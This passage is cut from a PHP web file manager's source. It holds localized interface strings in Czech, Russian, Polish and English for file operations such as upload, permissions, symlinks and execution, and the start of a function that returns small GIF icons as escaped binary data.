            return array("directory" => "Adres\xc3\xa1\xc5\x99", "file" => "Soubor", "filename" => "Jm\xc3\xa9no souboru", "size" => "Velikost", "permission" => "Pr\xc3\xa1va", "owner" => "Vlastn\xc3\xadk", "group" => "Skupina", "other" => "Ostatn\xc3\xad", "functions" => "Funkce", "read" => "\xc4\x8cten\xc3\xad", "write" => "Z\xc3\xa1pis", "execute" => "Spou\xc5\xa1t\xc4\x9bn\xc3\xad", "create_symlink" => "Vytvo\xc5\x99it symbolick\xc3\xbd odkaz", "delete" => "Smazat", "rename" => "P\xc5\x99ejmenovat", "move" => "P\xc5\x99esunout", "copy" => "Zkop\xc3\xadrovat", "edit" => "Otev\xc5\x99\xc3\xadt", "download" => "St\xc3\xa1hnout", "upload" => "Nahraj na server", "create" => "Vytvo\xc5\x99it", "change" => "Zm\xc4\x9bnit", "save" => "Ulo\xc5\xbeit", "set" => "Nastavit", "reset" => "zp\xc4\x9bt", "relative" => "Relatif", "yes" => "Ano", "no" => "Ne", "back" => "Zp\xc4\x9bt", "destination" => "Destination", "symlink" => "Symbolick\xc3\xbd odkaz", "no_output" => "Pr\xc3\xa1zdn\xc3\xbd v\xc3\xbdstup", "user" => "U\xc5\xbeivatel", "password" => "Heslo", "add" => "P\xc5\x99idat", "add_basic_auth" => "p\xc5\x99idej z\xc3\xa1kladn\xc3\xad autentizaci", "uploaded" => "Soubor \"[%1]\" byl nahr\xc3\xa1n na server.", "not_uploaded" => "Soubor \"[%1]\" nebyl nahr\xc3\xa1n na server.", "already_exists" => "Soubor \"[%1]\" u\xc5\xbe exituje.", "created" => "Soubor \"[%1]\" byl vytvo\xc5\x99en.", "not_created" => "Soubor \"[%1]\" nemohl b\xc3\xbdt  vytvo\xc5\x99en.", "really_delete" => "Vymazat soubor?", "deleted" => "Byly vymaz\xc3\xa1ny tyto soubory:\n[%1]", "not_deleted" => "Tyto soubory nemohly b\xc3\xbdt vytvo\xc5\x99eny:\n[%1]", "rename_file" => "P\xc5\x99ejmenuj soubory:", "renamed" => "Soubor \"[%1]\" byl p\xc5\x99ejmenov\xc3\xa1n na \"[%2]\".", "not_renamed" => "Soubor \"[%1]\" nemohl b\xc3\xbdt p\xc5\x99ejmenov\xc3\xa1n na \"[%2]\".", "move_files" => "P\xc5\x99em\xc3\xadstit tyto soubory:", "moved" => "Tyto soubory byly p\xc5\x99em\xc3\xadst\xc4\x9bny do \"[%2]\":\n[%1]", "not_moved" => "Tyto soubory nemohly b\xc3\xbdt p\xc5\x99em\xc3\xadst\xc4\x9bny do \"[%2]\":\n[%1]", "copy_files" => "Zkop\xc3\xadrovat tyto soubory:", "copied" => "Tyto soubory byly zkop\xc3\xadrov\xc3\xa1ny do \"[%2]\":\n[%1]", "not_copied" => "Tyto soubory nemohly b\xc3\xbdt zkop\xc3\xadrov\xc3\xa1ny do \"[%2]\":\n[%1]", "not_edited" => "Soubor \"[%1]\" nemohl b\xc3\xbdt otev\xc5\x99en.", "executed" => "SOubor \"[%1]\" byl spu\xc5\xa1t\xc4\x9bn :\n{%2}", "not_executed" => "Soubor \"[%1]\" nemohl b\xc3\xbdt spu\xc5\xa1t\xc4\x9bn:\n{%2}", "saved" => "Soubor \"[%1]\" byl ulo\xc5\xbeen.", "not_saved" => "Soubor \"[%1]\" nemohl b\xc3\xbdt ulo\xc5\xbeen.", "symlinked" => "Byl vyvo\xc5\x99en symbolick\xc3\xbd odkaz \"[%2]\" na soubor \"[%1]\".", "not_symlinked" => "Symbolick\xc3\xbd odkaz \"[%2]\" na soubor \"[%1]\" nemohl b\xc3\xbdt vytvo\xc5\x99en.", "permission_for" => "Pr\xc3\xa1va k \"[%1]\":", "permission_set" => "Pr\xc3\xa1va k \"[%1]\" byla zm\xc4\x9bn\xc4\x9bna na [%2].", "permission_not_set" => "Pr\xc3\xa1va k \"[%1]\" nemohla b\xc3\xbdt zm\xc4\x9bn\xc4\x9bna na [%2].", "not_readable" => "Soubor \"[%1]\" nen\xc3\xad mo\xc5\xbeno p\xc5\x99e\xc4\x8d\xc3\xadst.");
        case 'ru':
            $date_format = 'd.m.y H:i:s';
            return array("directory" => "\xd0\x9a\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3", "file" => "\xd0\xa4\xd0\xb0\xd0\xb9\xd0\xbb", "filename" => "\xd0\x98\xd0\xbc\xd1\x8f \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd0\xb0", "size" => "\xd0\xa0\xd0\xb0\xd0\xb7\xd0\xbc\xd0\xb5\xd1\x80", "permission" => "\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0", "owner" => "\xd0\xa5\xd0\xbe\xd0\xb7\xd1\x8f\xd0\xb8\xd0\xbd", "group" => "\xd0\x93\xd1\x80\xd1\x83\xd0\xbf\xd0\xbf\xd0\xb0", "other" => "\xd0\x94\xd1\x80\xd1\x83\xd0\xb3\xd0\xb8\xd0\xb5", "functions" => "\xd0\xa4\xd1\x83\xd0\xbd\xd0\xba\xd1\x86\xd0\xb8\xd1\x8f", "read" => "\xd1\x87\xd0\xb8\xd1\x82\xd0\xb0\xd1\x82\xd1\x8c", "write" => "\xd0\xbf\xd0\xb8\xd1\x81\xd0\xb0\xd1\x82\xd1\x8c", "execute" => "\xd0\xb2\xd1\x8b\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c", "create_symlink" => "\xd0\xa1\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c \xd1\x81\xd0\xb8\xd0\xbc\xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba", "delete" => "\xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd1\x8c", "rename" => "\xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c", "move" => "\xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8c", "copy" => "\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c", "edit" => "\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb0\xd0\xba\xd1\x82\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c", "download" => "\xd1\x81\xd0\xba\xd0\xb0\xd1\x87\xd0\xb0\xd1\x82\xd1\x8c", "upload" => "\xd0\xb7\xd0\xb0\xd0\xba\xd0\xb0\xd1\x87\xd0\xb0\xd1\x82\xd1\x8c", "create" => "\xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c", "change" => "\xd0\xbf\xd0\xbe\xd0\xbc\xd0\xb5\xd0\xbd\xd1\x8f\xd1\x82\xd1\x8c", "save" => "\xd1\x81\xd0\xbe\xd1\x85\xd1\x80\xd0\xb0\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c", "set" => "\xd1\x83\xd1\x81\xd1\x82\xd0\xb0\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb8\xd1\x82\xd1\x8c", "reset" => "\xd1\x81\xd0\xb1\xd1\x80\xd0\xbe\xd1\x81\xd0\xb8\xd1\x82\xd1\x8c", "relative" => "\xd0\xbe\xd1\x82\xd0\xbd\xd0\xbe\xd1\x81\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd1\x8c\xd0\xbd\xd1\x8b\xd0\xb9 \xd0\xbf\xd1\x83\xd1\x82\xd1\x8c \xd0\xba \xd1\x86\xd0\xb5\xd0\xbb\xd0\xb8", "yes" => "\xd0\xb4\xd0\xb0", "no" => "\xd0\xbd\xd0\xb5\xd1\x82", "back" => "\xd0\xbd\xd0\xb0\xd0\xb7\xd0\xb0\xd0\xb4", "destination" => "\xd1\x86\xd0\xb5\xd0\xbb\xd1\x8c", "symlink" => "\xd1\x81\xd0\xb8\xd0\xbc\xd0\xb2\xd0\xbe\xd0\xbb\xd0\xb8\xd1\x87\xd0\xb5\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba", "no_output" => "\xd0\xbd\xd0\xb5\xd1\x82 \xd0\xb2\xd1\x8b\xd0\xb2\xd0\xbe\xd0\xb4\xd0\xb0", "user" => "\xd0\x9f\xd0\xbe\xd0\xbb\xd1\x8c\xd0\xb7\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd0\xb5\xd0\xbb\xd1\x8c", "password" => "\xd0\x9f\xd0\xb0\xd1\x80\xd0\xbe\xd0\xbb\xd1\x8c", "add" => "\xd0\xb4\xd0\xbe\xd0\xb1\xd0\xb0\xd0\xb2\xd0\xb8\xd1\x82\xd1\x8c", "add_basic_auth" => "\xd0\x94\xd0\xbe\xd0\xb1\xd0\xb0\xd0\xb2\xd0\xb8\xd1\x82\xd1\x8c HTTP-Basic-Auth", "uploaded" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd0\xb7\xd0\xb0\xd0\xba\xd0\xb0\xd1\x87\xd0\xb5\xd0\xbd.", "not_uploaded" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xb7\xd0\xb0\xd0\xba\xd0\xb0\xd1\x87\xd1\x8f\xd1\x82\xd1\x8c.", "already_exists" => "\"[%1]\" \xd1\x83\xd0\xb6\xd0\xb5 \xd1\x81\xd1\x83\xd1\x89\xd0\xb5\xd1\x81\xd1\x82\xd0\xb2\xd1\x83\xd0\xb5\xd1\x82.", "created" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd0\xbd.", "not_created" => "\"[%1]\" \xd0\xbd\xd0\xb5 \xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c.", "really_delete" => "\xd0\x94\xd0\xb5\xd0\xb9\xd1\x81\xd1\x82\xd0\xb2\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd1\x8c\xd0\xbd\xd0\xbe \xd1\x8d\xd1\x82\xd0\xbe\xd1\x82 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd1\x8c?", "deleted" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb5\xd0\xbd\xd1\x8b:\n[%1]", "not_deleted" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5 \xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd1\x8c:\n[%1]", "rename_file" => "\xd0\x9f\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd1\x8b\xd0\xb2\xd0\xb0\xd1\x8e \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb:", "renamed" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd \xd0\xbd\xd0\xb0 \"[%2]\".", "not_renamed" => "\"[%1] \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c \xd0\xbd\xd0\xb0 \"[%2]\".", "move_files" => "\xd0\x9f\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xb3\xd0\xb0\xd1\x8e \xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b:", "moved" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8b \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\":\n[%1]", "not_moved" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8c \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\":\n[%1]", "copy_files" => "\xd0\x9a\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd1\x83\xd1\x8e \xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b:", "copied" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd1\x8b \xd1\x81\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd\xd1\x8b \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\" :\n[%1]", "not_copied" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x81\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\" :\n[%1]", "not_edited" => "\"[%1]\" \xd0\xbd\xd0\xb5 \xd0\xbc\xd0\xbe\xd0\xb6\xd0\xb5\xd1\x82 \xd0\xb1\xd1\x8b\xd1\x82\xd1\x8c \xd0\xbe\xd1\x82\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb0\xd0\xba\xd1\x82\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd.", "executed" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x83\xd1\x81\xd0\xbf\xd0\xb5\xd1\x88\xd0\xbd\xd0\xbe \xd0\xb8\xd1\x81\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb5\xd0\xbd:\n{%2}", "not_executed" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xb7\xd0\xb0\xd0\xbf\xd1\x83\xd1\x81\xd1\x82\xd0\xb8\xd1\x82\xd1\x8c \xd0\xbd\xd0\xb0 \xd0\xb8\xd1\x81\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb5\xd0\xbd\xd0\xb8\xd0\xb5:\n{%2}", "saved" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x81\xd0\xbe\xd1\x85\xd1\x80\xd0\xb0\xd0\xbd\xd0\xb5\xd0\xbd.", "not_saved" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x81\xd0\xbe\xd1\x85\xd1\x80\xd0\xb0\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c.", "symlinked" => "\xd0\xa1\xd0\xb8\xd0\xbc\xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba \xd1\x81 \"[%2]\" \xd0\xbd\xd0\xb0 \"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd0\xbd.", "not_symlinked" => "\xd0\x9d\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c \xd1\x81\xd0\xb8\xd0\xbc\xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba \xd1\x81 \"[%2]\" \xd0\xbd\xd0\xb0 \"[%1]\".", "permission_for" => "\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf\xd0\xb0 \"[%1]\":", "permission_set" => "\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf\xd0\xb0 \"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd0\xb8\xd0\xb7\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xb5\xd0\xbd\xd1\x8b \xd0\xbd\xd0\xb0 [%2].", "permission_not_set" => "\xd0\x9d\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xb8\xd0\xb7\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c \xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf\xd0\xb0 \xd0\xba \"[%1]\" \xd0\xbd\xd0\xb0 [%2] .", "not_readable" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xbf\xd1\x80\xd0\xbe\xd1\x87\xd0\xb8\xd1\x82\xd0\xb0\xd1\x82\xd1\x8c.");
        case 'pl':
            $date_format = 'd.m.y H:i:s';
            return array("directory" => "Katalog", "file" => "Plik", "filename" => "Nazwa pliku", "size" => "Rozmiar", "permission" => "Uprawnienia", "owner" => "W\xc5\x82a\xc5\x9bciciel", "group" => "Grupa", "other" => "Inni", "functions" => "Funkcje", "read" => "odczyt", "write" => "zapis", "execute" => "wykonywanie", "create_symlink" => "utw\xc3\xb3rz dowi\xc4\x85zanie symboliczne", "delete" => "kasuj", "rename" => "zamie\xc5\x84", "move" => "przenie\xc5\x9b", "copy" => "kopiuj", "edit" => "edytuj", "download" => "pobierz", "upload" => "Prze\xc5\x9blij", "create" => "Utw\xc3\xb3rz", "change" => "Zmie\xc5\x84", "save" => "Zapisz", "set" => "wykonaj", "reset" => "wyczy\xc5\x9b\xc4\x87", "relative" => "wzgl\xc4\x99dna \xc5\x9bcie\xc5\xbcka do celu", "yes" => "Tak", "no" => "Nie", "back" => "cofnij", "destination" => "miejsce przeznaczenia", "symlink" => "dowi\xc4\x85zanie symboliczne", "no_output" => "nie ma wyj\xc5\x9bcia", "user" => "Urzytkownik", "password" => "Has\xc5\x82o", "add" => "dodaj", "add_basic_auth" => "dodaj podstawowe uwierzytelnianie", "uploaded" => "\"[%1]\" zosta\xc5\x82 przes\xc5\x82any.", "not_uploaded" => "\"[%1]\" nie mo\xc5\xbce by\xc4\x87 przes\xc5\x82ane.", "already_exists" => "\"[%1]\" ju\xc5\xbc istnieje.", "created" => "\"[%1]\" zosta\xc5\x82 utworzony.", "not_created" => "\"[%1]\" nie mo\xc5\xbcna utworzy\xc4\x87.", "really_delete" => "usun\xc4\x85\xc4\x87 te pliki?", "deleted" => "Pliki zosta\xc5\x82y usuni\xc4\x99te:\n[%1]", "not_deleted" => "Te pliki nie mog\xc4\x85 by\xc4\x87 usuni\xc4\x99te:\n[%1]", "rename_file" => "Zmie\xc5\x84 nazw\xc4\x99 pliku:", "renamed" => "\"[%1]\" zosta\xc5\x82o zmienione na \"[%2]\".", "not_renamed" => "\"[%1] nie mo\xc5\xbcna zmieni\xc4\x87 na \"[%2]\".", "move_files" => "Przenie\xc5\x9b te pliki:", "moved" => "Pliki zosta\xc5\x82y przeniesione do \"[%2]\":\n[%1]", "not_moved" => "Pliki nie mog\xc4\x85 by\xc4\x87 przeniesione do \"[%2]\":\n[%1]", "copy_files" => "Skopiuj te pliki:", "copied" => "Pliki zosta\xc5\x82y skopiowane \"[%2]\":\n[%1]", "not_copied" => "Te pliki nie mog\xc4\x85 by\xc4\x87 kopiowane do \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" nie mo\xc5\xbcna edytowa\xc4\x87.", "executed" => "\"[%1]\" zosta\xc5\x82o wykonane pomy\xc5\x9blnie:\n{%2}", "not_executed" => "\"[%1]\" nie mo\xc5\xbce by\xc4\x87 wykonane:\n{%2}", "saved" => "\"[%1]\" zosta\xc5\x82 zapisany.", "not_saved" => "\"[%1]\" nie mo\xc5\xbcna zapisa\xc4\x87.", "symlinked" => "Dowi\xc4\x85zanie symboliczne \"[%2]\" do \"[%1]\" zosta\xc5\x82o utworzone.", "not_symlinked" => "Dowi\xc4\x85zanie symboliczne \"[%2]\" do \"[%1]\" nie moze by\xc4\x87 utworzone.", "permission_for" => "Uprawnienia \"[%1]\":", "permission_set" => "Uprawnienia \"[%1]\" zosta\xc5\x82y ustalone na [%2].", "permission_not_set" => "Uprawnienia \"[%1]\" nie mog\xc4\x85 by\xc4\x87 ustawione na [%2].", "not_readable" => "\"[%1]\" nie mo\xc5\xbcna odczyta\xc4\x87.");
        case 'en':
        default:
            $date_format = 'n/j/y H:i:s';
            return array("directory" => "Directory", "file" => "File", "filename" => "Filename", "size" => "Size", "permission" => "Permission", "owner" => "Owner", "group" => "Group", "other" => "Others", "functions" => "Functions", "read" => "read", "write" => "write", "execute" => "execute", "create_symlink" => "create symlink", "delete" => "delete", "rename" => "rename", "move" => "move", "copy" => "copy", "edit" => "edit", "download" => "download", "upload" => "upload", "create" => "create", "change" => "change", "save" => "save", "set" => "set", "reset" => "reset", "relative" => "Relative path to target", "yes" => "Yes", "no" => "No", "back" => "back", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "add", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" has been uploaded.", "not_uploaded" => "\"[%1]\" could not be uploaded.", "already_exists" => "\"[%1]\" already exists.", "created" => "\"[%1]\" has been created.", "not_created" => "\"[%1]\" could not be created.", "really_delete" => "Delete these files?", "deleted" => "These files have been deleted:\n[%1]", "not_deleted" => "These files could not be deleted:\n[%1]", "rename_file" => "Rename file:", "renamed" => "\"[%1]\" has been renamed to \"[%2]\".", "not_renamed" => "\"[%1] could not be renamed to \"[%2]\".", "move_files" => "Move these files:", "moved" => "These files have been moved to \"[%2]\":\n[%1]", "not_moved" => "These files could not be moved to \"[%2]\":\n[%1]", "copy_files" => "Copy these files:", "copied" => "These files have been copied to \"[%2]\":\n[%1]", "not_copied" => "These files could not be copied to \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" can not be edited.", "executed" => "\"[%1]\" has been executed successfully:\n{%2}", "not_executed" => "\"[%1]\" could not be executed successfully:\n{%2}", "saved" => "\"[%1]\" has been saved.", "not_saved" => "\"[%1]\" could not be saved.", "symlinked" => "Symlink from \"[%2]\" to \"[%1]\" has been created.", "not_symlinked" => "Symlink from \"[%2]\" to \"[%1]\" could not be created.", "permission_for" => "Permission of \"[%1]\":", "permission_set" => "Permission of \"[%1]\" was set to [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" can not be read.");
    }
}
function getimage($image)
{
    switch ($image) {
        case 'file':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
        case 'folder':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02*\x9c\x8f\x99\xc0\xac\x1bb\x04\xcf\xb4\x8b\x9d\x95\xbc\v:\x00\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\x19\xcf\xb4k\xb7a\x8e\x1e\xd9o(\x00\x00;\x00";
        case 'hidden_file':
            return "GIF89a\x11\x00\r\x00\x91\x03\x00\xcc\x00\x00\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
        case 'link':
            return "GIF89a\x11\x00\r\x00\xa2\x04\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xcc\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\xe8\x03\x04\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x039H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\x04\xd8RYM8\r\x03\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\x05/[\xa7'\x01\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\x00\x00;\x00";
        case 'smiley':
            return "GIF89a\x11\x00\r\x00\x91\x02\x00\x00\x00\x00\xff\xff\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\xe8\x03\x02\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02,\x94\x8f\xa9\x02\xed\xb0\f\x08\xb3\xd25\x83\xde\x1a\xa6\x076_\xd5P\xa5x\x94\x1c\x87J\xe4vzi\x07wJf\xe22\x82\xb3\x11\x13\xfa\t\x0f\x05\x00;\x00";
        case 'arrow':
